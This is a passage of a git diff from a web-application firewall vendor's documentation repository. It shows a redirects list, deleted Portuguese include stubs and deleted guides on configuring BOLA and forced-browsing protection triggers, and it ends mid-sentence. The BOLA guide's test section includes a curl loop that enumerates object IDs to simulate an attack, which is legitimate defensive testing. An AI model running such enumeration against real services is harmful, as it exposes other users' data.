https://github.com/wallarm/terraform-example/wiki/Quick-start-with-Terraform-example-code - -/user-guides/dashboard/intro/ /user-guides/dashboard/ -/user-guides/dashboard/waf/ /user-guides/dashboard/ -/user-guides/dashboard/scanner/ /user-guides/dashboard/#vulnerability-scanner -/3.6/user-guides/dashboard/intro/ /user-guides/dashboard/ -/3.6/user-guides/dashboard/waf/ /user-guides/dashboard/ -/3.6/user-guides/dashboard/scanner/ /user-guides/dashboard/#vulnerability-scanner -/3.4/user-guides/dashboard/intro/ /user-guides/dashboard/ -/3.4/user-guides/dashboard/waf/ /user-guides/dashboard/ -/3.4/user-guides/dashboard/scanner/ /user-guides/dashboard/#vulnerability-scanner - -/4.0/admin-en/installation-guides/kubernetes/wallarm-sidecar-container-helm/ /4.0/installation/kubernetes/sidecar-proxy/deployment/ -/4.0/admin-en/installation-guides/kubernetes/wallarm-sidecar-container-manifest/ /4.0/installation/kubernetes/sidecar-proxy/deployment/ -/4.0/admin-en/installation-guides/kubernetes/wallarm-sidecar-container/ /4.0/installation/kubernetes/sidecar-proxy/deployment/ -/admin-en/installation-guides/kubernetes/wallarm-sidecar-container-helm/ /installation/kubernetes/sidecar-proxy/deployment/ -/admin-en/installation-guides/kubernetes/wallarm-sidecar-container-manifest/ /installation/kubernetes/sidecar-proxy/deployment/ -/admin-en/installation-guides/kubernetes/wallarm-sidecar-container/ /installation/kubernetes/sidecar-proxy/deployment/ - -/user-guides/ip-lists/greylist/ /user-guides/ip-lists/graylist/ -/4.0/user-guides/ip-lists/greylist/ /4.0/user-guides/ip-lists/graylist/ -/3.6/user-guides/ip-lists/greylist/ /3.6/user-guides/ip-lists/graylist/ -/3.4/user-guides/ip-lists/greylist/ /3.4/user-guides/ip-lists/graylist/ - -/user-guides/ip-lists/blacklist/ /user-guides/ip-lists/denylist/ -/4.0/user-guides/ip-lists/blacklist/ /4.0/user-guides/ip-lists/denylist/ -/3.6/user-guides/ip-lists/blacklist/ /3.6/user-guides/ip-lists/denylist/ -/3.4/user-guides/ip-lists/blacklist/ /3.4/user-guides/ip-lists/denylist/ -/2.18/user-guides/blacklist/ /2.18/user-guides/denylist/ - -/user-guides/ip-lists/whitelist/ /user-guides/ip-lists/allowlist/ -/4.0/user-guides/ip-lists/whitelist/ /4.0/user-guides/ip-lists/allowlist/ -/3.6/user-guides/ip-lists/whitelist/ /3.6/user-guides/ip-lists/allowlist/ -/3.4/user-guides/ip-lists/whitelist/ /3.4/user-guides/ip-lists/allowlist/ -/2.18/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/whitelist-wallarm-ip-addresses/ /2.18/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/allowlist-wallarm-ip-addresses/ -/2.18/admin-en/scanner-ips-whitelisting/ /2.18/admin-en/scanner-ips-allowlisting/ - -/admin-en/mirror-traffic-en/ /admin-en/configuration-guides/traffic-mirroring/overview/ -/4.0/admin-en/mirror-traffic-en/ /4.0/admin-en/configuration-guides/traffic-mirroring/overview/ -/3.6/admin-en/mirror-traffic-en/ /3.6/admin-en/configuration-guides/traffic-mirroring/overview/ -/3.4/admin-en/mirror-traffic-en/ /3.4/admin-en/configuration-guides/traffic-mirroring/overview/ -/2.18/admin-en/mirror-traffic-en/ /2.18/admin-en/configuration-guides/traffic-mirroring/overview/ - -/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/allowlist-wallarm-ip-addresses/ /user-guides/ip-lists/allowlist/#examples-of-ip-allowlist-usage -/admin-en/scanner-ips-allowlisting/ /user-guides/ip-lists/allowlist/#examples-of-ip-allowlist-usage -/user-guides/denylist/ /user-guides/ip-lists/denylist/ - -/admin-en/installation-kong-en/ /installation/kubernetes/kong-ingress-controller/deployment/ - -/about-wallarm-waf/* /about-wallarm/:splat 301! -/2.18/about-wallarm-waf/* /2.18/about-wallarm/:splat 301! -/3.4/about-wallarm-waf/* /3.4/about-wallarm/:splat 301! -/3.6/about-wallarm-waf/* /3.6/about-wallarm/:splat 301! -/4.0/about-wallarm-waf/* /4.0/about-wallarm/:splat 301! -/waf-installation/* /installation/:splat 301! -/2.18/waf-installation/* /2.18/installation/:splat 301! -/3.4/waf-installation/* /3.4/installation/:splat 301! -/3.6/waf-installation/* /3.6/installation/:splat 301! -/4.0/waf-installation/* /4.0/installation/:splat 301! -/admin-en/configuration-guides/allocate-resources-for-waf-node/ /admin-en/configuration-guides/allocate-resources-for-node/ -/2.18/admin-en/configuration-guides/allocate-resources-for-waf-node/ /2.18/admin-en/configuration-guides/allocate-resources-for-node/ -/3.4/admin-en/configuration-guides/allocate-resources-for-waf-node/ /3.4/admin-en/configuration-guides/allocate-resources-for-node/ -/3.6/admin-en/configuration-guides/allocate-resources-for-waf-node/ /3.6/admin-en/configuration-guides/allocate-resources-for-node/ -/4.0/admin-en/configuration-guides/allocate-resources-for-waf-node/ /4.0/admin-en/configuration-guides/allocate-resources-for-node/ -/admin-en/configuration-guides/waf-in-separated-environments/how-waf-in-separated-environments-works/ /admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ -/admin-en/configuration-guides/waf-in-separated-environments/configure-waf-in-separated-environments/ /admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments/ -/2.18/admin-en/configuration-guides/waf-in-separated-environments/how-waf-in-separated-environments-works/ /2.18/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ -/2.18/admin-en/configuration-guides/waf-in-separated-environments/configure-waf-in-separated-environments/ /2.18/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments/ -/3.4/admin-en/configuration-guides/waf-in-separated-environments/how-waf-in-separated-environments-works/ /3.4/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ -/3.4/admin-en/configuration-guides/waf-in-separated-environments/configure-waf-in-separated-environments/ /3.4/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments/ -/3.6/admin-en/configuration-guides/waf-in-separated-environments/how-waf-in-separated-environments-works/ /3.6/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ -/3.6/admin-en/configuration-guides/waf-in-separated-environments/configure-waf-in-separated-environments/ /3.6/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments/ -/4.0/admin-en/configuration-guides/waf-in-separated-environments/how-waf-in-separated-environments-works/ /4.0/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works/ -/faq/waf-nginx-compatibility/ /faq/nginx-compatibility/ -/faq/waf-ingress-installation/ /faq/ingress-installation/ -/faq/common-errors-after-waf-installation/ /faq/common-errors-after-installation/ -/demo-videos/waf-overview/ /demo-videos/overview/ -/demo-videos/waf-events-inspection/ /demo-videos/events-inspection/ -/demo-videos/notifications/ /user-guides/triggers/triggers/ - -/user-guides/settings/api-discovery/ /user-guides/api-discovery/#configuring-api-discovery -/4.2/user-guides/settings/api-discovery/ /4.2/user-guides/api-discovery/#configuring-api-discovery -/4.0/user-guides/settings/api-discovery/ /4.0/user-guides/api-discovery/#configuring-api-discovery -/3.6/user-guides/settings/api-discovery/ /3.6/user-guides/api-discovery/#configuring-api-discovery - -/user-guides/dashboard/ /user-guides/dashboards/threat-prevention/ -/4.2/user-guides/dashboard/ /4.2/user-guides/dashboards/threat-prevention/ -/4.0/user-guides/dashboard/ /4.0/user-guides/dashboards/threat-prevention/ -/3.6/user-guides/dashboard/ /3.6/user-guides/dashboards/threat-prevention/ - -/4.0/* /4.0 -/2.18/user-guides/vulnerabilities/analyze-vuln/ /2.18/user-guides/vulnerabilities/ -/2.18/user-guides/vulnerabilities/check-vuln/ /2.18/user-guides/vulnerabilities/ -/2.18/user-guides/vulnerabilities/close-open-vuln/ /2.18/user-guides/vulnerabilities/ -/2.18/user-guides/vulnerabilities/false-vuln/ /2.18/user-guides/vulnerabilities/ -/2.18/user-guides/vulnerabilities/recheck-vuln/ /2.18/user-guides/vulnerabilities/ -/3.6/user-guides/vulnerabilities/analyze-vuln/ /3.6/user-guides/vulnerabilities/ -/3.6/user-guides/vulnerabilities/check-vuln/ /3.6/user-guides/vulnerabilities/ -/3.6/user-guides/vulnerabilities/close-open-vuln/ /3.6/user-guides/vulnerabilities/ -/3.6/user-guides/vulnerabilities/false-vuln/ /3.6/user-guides/vulnerabilities/ -/3.6/user-guides/vulnerabilities/recheck-vuln/ /3.6/user-guides/vulnerabilities/ -/4.0/user-guides/vulnerabilities/analyze-vuln/ /4.0/user-guides/vulnerabilities/ -/4.0/user-guides/vulnerabilities/check-vuln/ /4.0/user-guides/vulnerabilities/ -/4.0/user-guides/vulnerabilities/close-open-vuln/ /4.0/user-guides/vulnerabilities/ -/4.0/user-guides/vulnerabilities/false-vuln/ /4.0/user-guides/vulnerabilities/ -/4.0/user-guides/vulnerabilities/recheck-vuln/ /4.0/user-guides/vulnerabilities/ -/4.2/user-guides/vulnerabilities/analyze-vuln/ /4.2/user-guides/vulnerabilities/ -/4.2/user-guides/vulnerabilities/check-vuln/ /4.2/user-guides/vulnerabilities/ -/4.2/user-guides/vulnerabilities/close-open-vuln/ /4.2/user-guides/vulnerabilities/ -/4.2/user-guides/vulnerabilities/false-vuln/ /4.2/user-guides/vulnerabilities/ -/4.2/user-guides/vulnerabilities/recheck-vuln/ /4.2/user-guides/vulnerabilities/ -/4.4/user-guides/vulnerabilities/analyze-vuln/ /4.4/user-guides/vulnerabilities/ -/4.4/user-guides/vulnerabilities/check-vuln/ /4.4/user-guides/vulnerabilities/ -/4.4/user-guides/vulnerabilities/close-open-vuln/ /4.4/user-guides/vulnerabilities/ -/4.4/user-guides/vulnerabilities/false-vuln/ /4.4/user-guides/vulnerabilities/ -/4.4/user-guides/vulnerabilities/recheck-vuln/ /4.4/user-guides/vulnerabilities/ -/user-guides/vulnerabilities/analyze-vuln/ /user-guides/vulnerabilities/ -/user-guides/vulnerabilities/check-vuln/ /user-guides/vulnerabilities/ -/user-guides/vulnerabilities/close-open-vuln/ /user-guides/vulnerabilities/ -/user-guides/vulnerabilities/false-vuln/ /user-guides/vulnerabilities/ -/user-guides/vulnerabilities/recheck-vuln/ /user-guides/vulnerabilities/ - -/2.18/user-guides/scanner/check-scope/ /2.18/user-guides/scanner/ -/2.18/user-guides/scanner/configure-scanner-modules/ /2.18/user-guides/scanner/ -/2.18/user-guides/scanner/configure-scanner/ /2.18/user-guides/scanner/ -/2.18/user-guides/scanner/intro/ /2.18/user-guides/scanner/ -/2.18/user-guides/scanner/reserved-domains/ /2.18/user-guides/scanner/ -/3.6/user-guides/scanner/check-scope/ /3.6/user-guides/scanner/ -/3.6/user-guides/scanner/configure-scanner-modules/ /3.6/user-guides/scanner/ -/3.6/user-guides/scanner/configure-scanner/ /3.6/user-guides/scanner/ -/3.6/user-guides/scanner/intro/ /3.6/user-guides/scanner/ -/3.6/user-guides/scanner/reserved-domains/ /3.6/user-guides/scanner/ -/4.0/user-guides/scanner/check-scope/ /4.0/user-guides/scanner/ -/4.0/user-guides/scanner/configure-scanner-modules/ /4.0/user-guides/scanner/ -/4.0/user-guides/scanner/configure-scanner/ /4.0/user-guides/scanner/ -/4.0/user-guides/scanner/intro/ /4.0/user-guides/scanner/ -/4.0/user-guides/scanner/reserved-domains/ /4.0/user-guides/scanner/ -/4.2/user-guides/scanner/check-scope/ /4.2/user-guides/scanner/ -/4.2/user-guides/scanner/configure-scanner-modules/ /4.2/user-guides/scanner/ -/4.2/user-guides/scanner/configure-scanner/ /4.2/user-guides/scanner/ -/4.2/user-guides/scanner/intro/ /4.2/user-guides/scanner/ -/4.2/user-guides/scanner/reserved-domains/ /4.2/user-guides/scanner/ -/4.4/user-guides/scanner/check-scope/ /4.4/user-guides/scanner/ -/4.4/user-guides/scanner/configure-scanner-modules/ /4.4/user-guides/scanner/ -/4.4/user-guides/scanner/configure-scanner/ /4.4/user-guides/scanner/ -/4.4/user-guides/scanner/intro/ /4.4/user-guides/scanner/ -/4.4/user-guides/scanner/reserved-domains/ /4.4/user-guides/scanner/ -/user-guides/scanner/check-scope/ /user-guides/scanner/ -/user-guides/scanner/configure-scanner-modules/ /user-guides/scanner/ -/user-guides/scanner/configure-scanner/ /user-guides/scanner/ -/user-guides/scanner/intro/ /user-guides/scanner/ -/user-guides/scanner/reserved-domains/ /user-guides/scanner/ - -/admin-en/admin-intro-en/ /admin-en/supported-platforms/ -/4.4/admin-en/admin-intro-en/ /4.4/admin-en/supported-platforms/ - -/admin-en/configuration-guides/traffic-mirroring/envoy-example/ /installation/oob/web-server-mirroring/overview/#envoy -/admin-en/configuration-guides/traffic-mirroring/istio-example/ /installation/oob/web-server-mirroring/overview/#istio -/admin-en/configuration-guides/traffic-mirroring/nginx-example/ /installation/oob/web-server-mirroring/overview/#nginx -/admin-en/configuration-guides/traffic-mirroring/traefik-example/ /installation/oob/web-server-mirroring/overview/#traefik -/admin-en/configuration-guides/traffic-mirroring/overview/ /installation/oob/web-server-mirroring/overview/ - -/admin-en/installation-nginx-overview/ /admin-en/installation-postanalytics-en/ - -/installation/cloud-platforms/aws/terraform-module/examples/ /installation/cloud-platforms/aws/terraform-module/overview/#trying-wallarm-terraform-module-with-examples - -/admin-en/installation-ami-en/ /installation/cloud-platforms/aws/ami/ -/admin-en/installation-gcp-en/ /installation/cloud-platforms/gcp/machine-image/ - -/admin-en/supported-platforms/ /installation/supported-deployment-options/ -/4.4/admin-en/supported-platforms/ /4.4/installation/supported-deployment-options/ -/4.2/admin-en/supported-platforms/ /4.2/installation/supported-deployment-options/ -/3.6/admin-en/supported-platforms/ /3.6/installation/supported-deployment-options/ -/2.18/admin-en/supported-platforms/ /2.18/installation/supported-deployment-options/ -/ja/admin-en/supported-platforms/ /ja/installation/supported-deployment-options/ -/4.4/ja/admin-en/supported-platforms/ /4.4/ja/installation/supported-deployment-options/ - -/faq/nginx-compatibility/ /installation/custom/custom-nginx-version/ - -/about-wallarm/deployment-best-practices/ /quickstart/attack-prevention-best-practices/ - -/api-firewall/overview/ https://wallarm.github.io/api-firewall/ -/api-firewall/installation-guides/docker-container/ https://wallarm.github.io/api-firewall/installation-guides/docker-container/ -/api-firewall/demos/docker-compose/ https://wallarm.github.io/api-firewall/demos/docker-compose/ -/api-firewall/demos/kubernetes-cluster/ https://wallarm.github.io/api-firewall/demos/kubernetes-cluster/ -/api-firewall/release-notes/ https://wallarm.github.io/api-firewall/release-notes/ - -/admin-en/attack-rechecker-best-practices/ /vulnerability-detection/active-threat-verification/running-test-on-staging/ -/user-guides/rules/change-request-for-active-verification/ /vulnerability-detection/active-threat-verification/modify-requests-before-replay/ -/4.4/admin-en/attack-rechecker-best-practices/ /4.4/vulnerability-detection/active-threat-verification/running-test-on-staging/ -/4.4/user-guides/rules/change-request-for-active-verification/ /4.4/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ -/ja/admin-en/attack-rechecker-best-practices/ /ja/vulnerability-detection/active-threat-verification/running-test-on-staging/ -/ja/user-guides/rules/change-request-for-active-verification/ /ja/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ - -/about-wallarm/api-discovery/ /api-discovery/overview/ -/user-guides/api-discovery/ /api-discovery/exploring/ -/user-guides/api-specifications/ /api-discovery/rogue-api/ -/4.6/about-wallarm/api-discovery/ /4.6/api-discovery/overview/ -/4.6/user-guides/api-discovery/ /4.6/api-discovery/exploring/ -/4.6/user-guides/api-specifications/ /4.6/api-discovery/rogue-api/ \ No newline at end of file diff --git a/docs/pt-BR/about-wallarm/api-protection-overview.md b/docs/pt-BR/about-wallarm/api-protection-overview.md deleted file mode 100644 index 169ee6df39..0000000000 --- a/docs/pt-BR/about-wallarm/api-protection-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/about-wallarm/api-protection-overview.md" \ No newline at end of file diff --git a/docs/pt-BR/about-wallarm/credential-stuffing.md b/docs/pt-BR/about-wallarm/credential-stuffing.md deleted file mode 100644 index e6652054d3..0000000000 --- a/docs/pt-BR/about-wallarm/credential-stuffing.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/about-wallarm/credential-stuffing.md" \ No newline at end of file diff --git a/docs/pt-BR/about-wallarm/data-retention-policy.md b/docs/pt-BR/about-wallarm/data-retention-policy.md deleted file mode 100644 index ad890cc985..0000000000 --- a/docs/pt-BR/about-wallarm/data-retention-policy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/about-wallarm/data-retention-policy.md" \ No newline at end of file diff --git a/docs/pt-BR/about-wallarm/detecting-vulnerabilities.md b/docs/pt-BR/about-wallarm/detecting-vulnerabilities.md deleted file mode 100644 index e709253f87..0000000000 --- a/docs/pt-BR/about-wallarm/detecting-vulnerabilities.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/about-wallarm/detecting-vulnerabilities.md" \ No newline at end of file diff --git a/docs/pt-BR/about-wallarm/overview.md b/docs/pt-BR/about-wallarm/overview.md deleted file mode 100644 index 966be015a8..0000000000 --- a/docs/pt-BR/about-wallarm/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/about-wallarm/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/about-wallarm/protecting-against-attacks.md b/docs/pt-BR/about-wallarm/protecting-against-attacks.md deleted file mode 100644 index 514911fa8f..0000000000 --- a/docs/pt-BR/about-wallarm/protecting-against-attacks.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/about-wallarm/protecting-against-attacks.md" \ No newline at end of file diff --git a/docs/pt-BR/about-wallarm/shared-responsibility.md b/docs/pt-BR/about-wallarm/shared-responsibility.md deleted file mode 100644 index cbf76c0b01..0000000000 --- a/docs/pt-BR/about-wallarm/shared-responsibility.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/about-wallarm/shared-responsibility.md" \ No newline at end of file diff --git a/docs/pt-BR/about-wallarm/subscription-plans.md b/docs/pt-BR/about-wallarm/subscription-plans.md deleted file mode 100644 index 4a0497aff4..0000000000 --- a/docs/pt-BR/about-wallarm/subscription-plans.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/about-wallarm/subscription-plans.md" diff --git a/docs/pt-BR/about-wallarm/waap-overview.md b/docs/pt-BR/about-wallarm/waap-overview.md deleted file mode 100644 index b525ce57e5..0000000000 --- a/docs/pt-BR/about-wallarm/waap-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/about-wallarm/waap-overview.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/apifw-metrics.md b/docs/pt-BR/admin-en/apifw-metrics.md deleted file mode 100644 index f206f02d0a..0000000000 --- a/docs/pt-BR/admin-en/apifw-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/apifw-metrics.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/chaining-wallarm-and-other-ingress-controllers.md b/docs/pt-BR/admin-en/chaining-wallarm-and-other-ingress-controllers.md deleted file mode 100644 index a79e04b3e4..0000000000 --- a/docs/pt-BR/admin-en/chaining-wallarm-and-other-ingress-controllers.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/chaining-wallarm-and-other-ingress-controllers.md" diff --git a/docs/pt-BR/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md b/docs/pt-BR/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md deleted file mode 100644 index 2796f3100d..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md" diff --git a/docs/pt-BR/admin-en/configuration-guides/allocate-resources-for-node.md b/docs/pt-BR/admin-en/configuration-guides/allocate-resources-for-node.md deleted file mode 100644 index af928ae49a..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/allocate-resources-for-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configuration-guides/allocate-resources-for-node.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/configure-block-page-and-code.md b/docs/pt-BR/admin-en/configuration-guides/configure-block-page-and-code.md deleted file mode 100644 index 82999209ec..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/configure-block-page-and-code.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configuration-guides/configure-block-page-and-code.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/envoy/fine-tuning.md b/docs/pt-BR/admin-en/configuration-guides/envoy/fine-tuning.md deleted file mode 100644 index dab2d3b79c..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/envoy/fine-tuning.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configuration-guides/envoy/fine-tuning.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/handling-invalid-headers.md b/docs/pt-BR/admin-en/configuration-guides/handling-invalid-headers.md deleted file mode 100644 index 606f7bf6b9..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/handling-invalid-headers.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/handling-invalid-headers.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/ldap/ldap.md b/docs/pt-BR/admin-en/configuration-guides/ldap/ldap.md deleted file mode 100644 index 733247bda7..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/ldap/ldap.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configuration-guides/ldap/ldap.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/protecting-against-bola-trigger.md b/docs/pt-BR/admin-en/configuration-guides/protecting-against-bola-trigger.md deleted file mode 100644 index 89d5e0f061..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/protecting-against-bola-trigger.md +++ /dev/null @@ -1,69 +0,0 @@ -# Manual BOLA Protection - -Behavioral attacks such as [Broken Object Level Authorization (BOLA)](../../attacks-vulns-list.md#broken-object-level-authorization-bola) exploit the vulnerability of the same name. This vulnerability allows an attacker to access an object by its identifier via an API request and either read or modify its data, bypassing an authorization mechanism. This article describes BOLA protection measures provided by [WAAP](../../about-wallarm/waap-overview.md)'s triggers. - -!!! info "Other BOLA protection measures" - Alternatively or additionally, you can configure [Automatic BOLA protection for endpoints found by API Discovery](protecting-against-bola.md). - -## Configuring - -By default, Wallarm automatically discovers only vulnerabilities of the BOLA type (also known as IDOR) but does not detect its exploitation attempts. Consider the example below to learn how to configure protection from BOLA attacks. - -Let us say your e-commerce `wmall-example.com` platform for online stores (shops) stores information for each hosted shop under `/shops//`. You want to prevent malicious actors from getting the list of all hosted shop names. Such list can be obtained via a simple script manipulating the names in the list, replacing `` in the URL. To prevent this, for your shop hosting route, you can limit number of requests per time interval, and set to block IPs exceeding this limit: - -1. Open Wallarm Console → **Triggers** and open the window for trigger creation. -1. Select the **BOLA** condition. -1. Set the threshold 30 requests from the same IP per 30 seconds. - - Note that these are the example values - when configuring trigger for your own traffic, you should define a threshold considering a legitimate usage statistics. - -1. Set the **URI** filter as displayed on the screenshot, including: - - * `*` [wildcard](../../user-guides/rules/rules.md#using-wildcards) in the path meaning "any one component". They will cover all the `wmall-example.com/shops//financial_info` addresses. - - ![BOLA trigger](../../images/user-guides/triggers/trigger-example7-4.8.png) - -1. Do not use in this case: - - * The **Application** filter, but be aware that you can use it to set trigger only to react to the requests targeting domains or specific endpoints of selected applications. - * The **IP** filter, but be aware that you can use it to set triggers only to react to specific IPs originating requests. - -1. Select the **Denylist IP address** - `Block for 4 hour` trigger reaction. Wallarm will put origin IP to the [denylist](../../user-guides/ip-lists/overview.md) after the threshold is exceeded and block all further requests from it. - - Note that even if the bot IP is placed into the denylist by manual BOLA protection, by default, Wallarm collects and [displays](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) statistics regarding blocked requests originating from it. - -1. Select the **Mark as BOLA** trigger reaction. Requests received after exceeding the threshold will be marked as the BOLA attack and displayed in the **Attacks** section of Wallarm Console. Sometimes, you can use this reaction alone to have information about the attack, but not to block anything. -1. Save the trigger and wait for the [Cloud and node synchronization completion](../configure-cloud-node-synchronization-en.md) (usually it takes 2-4 minutes). - -## Testing - -!!! info "Testing in your environment" - To test the **BOLA** trigger in your environment, in the trigger and the requests below, replace the domain with any public one (e.g. `example.com`). - -To test the trigger described in the [Configuring](#configuring) section: - -1. Send the number of requests that exceeds the configured threshold to the protected URI. For example, 50 requests with different values of `{shop_id}` to the endpoint `https://wmall-example.com/shops/{shop_id}/financial_info`: - - ```bash - for (( i=0 ; $i<51 ; i++ )) ; do curl https://wmall-example.com/shops/$i/financial_info ; done - ``` -1. If the trigger reaction is **Denylist IP address**, open Wallarm Console → **IP lists** → **Denylist** and check that the source IP address is blocked. - - If the trigger reaction is **Graylist IP address**, check the section **IP lists** → **Graylist** of Wallarm Console. -1. Open the section **Attacks** and check that requests are displayed in the list as BOLA attack. - - ![BOLA attack in the UI](../../images/user-guides/events/bola-attack.png) - - The number of displayed requests corresponds to the number of requests sent after the trigger threshold was exceeded ([more details on detecting behavioral attacks](../../about-wallarm/protecting-against-attacks.md#behavioral-attacks)). If this number is higher than 5, request sampling is applied and request details are displayed only for the first 5 hits ([more details on requests sampling](../../user-guides/events/analyze-attack.md)). - - To search for BOLA attacks, you can use the `bola` search tag. All filters are described in the [instructions on search use](../../user-guides/search-and-filters/use-search.md). - -## Requirements and restrictions - -**Requirements** - -To protect resources from BOLA attacks, real clients' IP addresses are required. If the filtering node is deployed behind a proxy server or load balancer, [configure](../using-proxy-or-balancer-en.md) displaying real clients' IP addresses. - -**Restrictions** - -When searching for BOLA attack signs, Wallarm nodes analyze only HTTP requests that do not contain signs of other attack types. diff --git a/docs/pt-BR/admin-en/configuration-guides/protecting-against-bola.md b/docs/pt-BR/admin-en/configuration-guides/protecting-against-bola.md deleted file mode 100644 index e67f0d74a6..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/protecting-against-bola.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configuration-guides/protecting-against-bola.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/protecting-against-bruteforce.md b/docs/pt-BR/admin-en/configuration-guides/protecting-against-bruteforce.md deleted file mode 100644 index fe20842f60..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/protecting-against-bruteforce.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configuration-guides/protecting-against-bruteforce.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/protecting-against-ddos.md b/docs/pt-BR/admin-en/configuration-guides/protecting-against-ddos.md deleted file mode 100644 index 8f73404551..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/protecting-against-ddos.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/admin-en/configuration-guides/protecting-against-ddos.md" \ No newline at end of file diff --git a/docs/pt-BR/admin-en/configuration-guides/protecting-against-forcedbrowsing.md b/docs/pt-BR/admin-en/configuration-guides/protecting-against-forcedbrowsing.md deleted file mode 100644 index e7b21c77c6..0000000000 --- a/docs/pt-BR/admin-en/configuration-guides/protecting-against-forcedbrowsing.md +++ /dev/null @@ -1,79 +0,0 @@ -# Protection Against Forced Browsing - -A forced browsing attack is one of the attack types not detected by Wallarm out-of-the-box, its detection should be appropriately configured as this guide describes. - -[Forced browsing](../../attacks-vulns-list.md#forced-browsing) attacks are characterized by a large number of response codes 404 returned to requests to different URIs for a limited timeframe. - -This attack aims to enumerate and access hidden resources (e.g. directories and files containing information on application components). The forced browsing attack type usually allows attackers to collect information about the application and perform other attack types by exploiting this information. - -Note that besides protection from forced browsing, you can configure protection against [brute-force attacks](protecting-against-bruteforce.md) similarly. - -## Configuring - -Consider the example below to learn how to configure forced browsing protection. - -Let us say you own the online `book-sale` application. You want to prevent malicious actors from trying names of hidden directories and files under its `book-sale-example.com` domain (forced browsing attack). To provide this protection, for your domain, you can limit number of 404 responses per time interval, and set to block IPs exceeding this limit: - -To provide this protection: - -1. Open Wallarm Console → **Triggers** and open the window for trigger creation. -1. Select the **Forced browsing** condition. -1. Set the threshold for the number of 404 response codes returned to the requests having the same origin IP requests to 30 per 30 seconds. - - Note that these are the example values - when configuring trigger for your own traffic, you should define a threshold considering a legitimate usage statistics. - -1. Set the **URI** filter as displayed on the screenshot, including: - - * `**` [wildcard](../../user-guides/rules/rules.md#using-wildcards) in the path meaning "any number of components". They will cover all the addresses under the `book-sale-example.com`. - - ![Forced browsing trigger example](../../images/user-guides/triggers/trigger-example5-4.8.png) - - * Besides configuring the pattern we need in this example, you can enter specific URIs (for example, URI of your resource file directory) or set trigger to work at any endpoint by not specifying any URI. - * If using nested URIs, consider [trigger processing priorities](../../user-guides/triggers/triggers.md#trigger-processing-priorities). - -1. Do not use in this case: - - * The **Application** filter, but be aware that you can use it to set triggers only to react to the requests targeting domains or specific endpoints of selected applications. - * The **IP** filter, but be aware that you can use it to set triggers only to react to specific IPs originating requests. - -1. Select the **Denylist IP address** - `Block for 4 hour` trigger reaction. Wallarm will put origin IP to the [denylist](../../user-guides/ip-lists/overview.md) after the threshold is exceeded and block all further requests from it. - - Note that even if the bot IP is placed into the denylist by forced browsing protection, by default, Wallarm collects and [displays](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) statistics regarding blocked requests originating from it. - -1. Select the **Mark as forced browsing** trigger reaction. Requests received after exceeding the threshold will be marked as the forced browsing attack and displayed in the 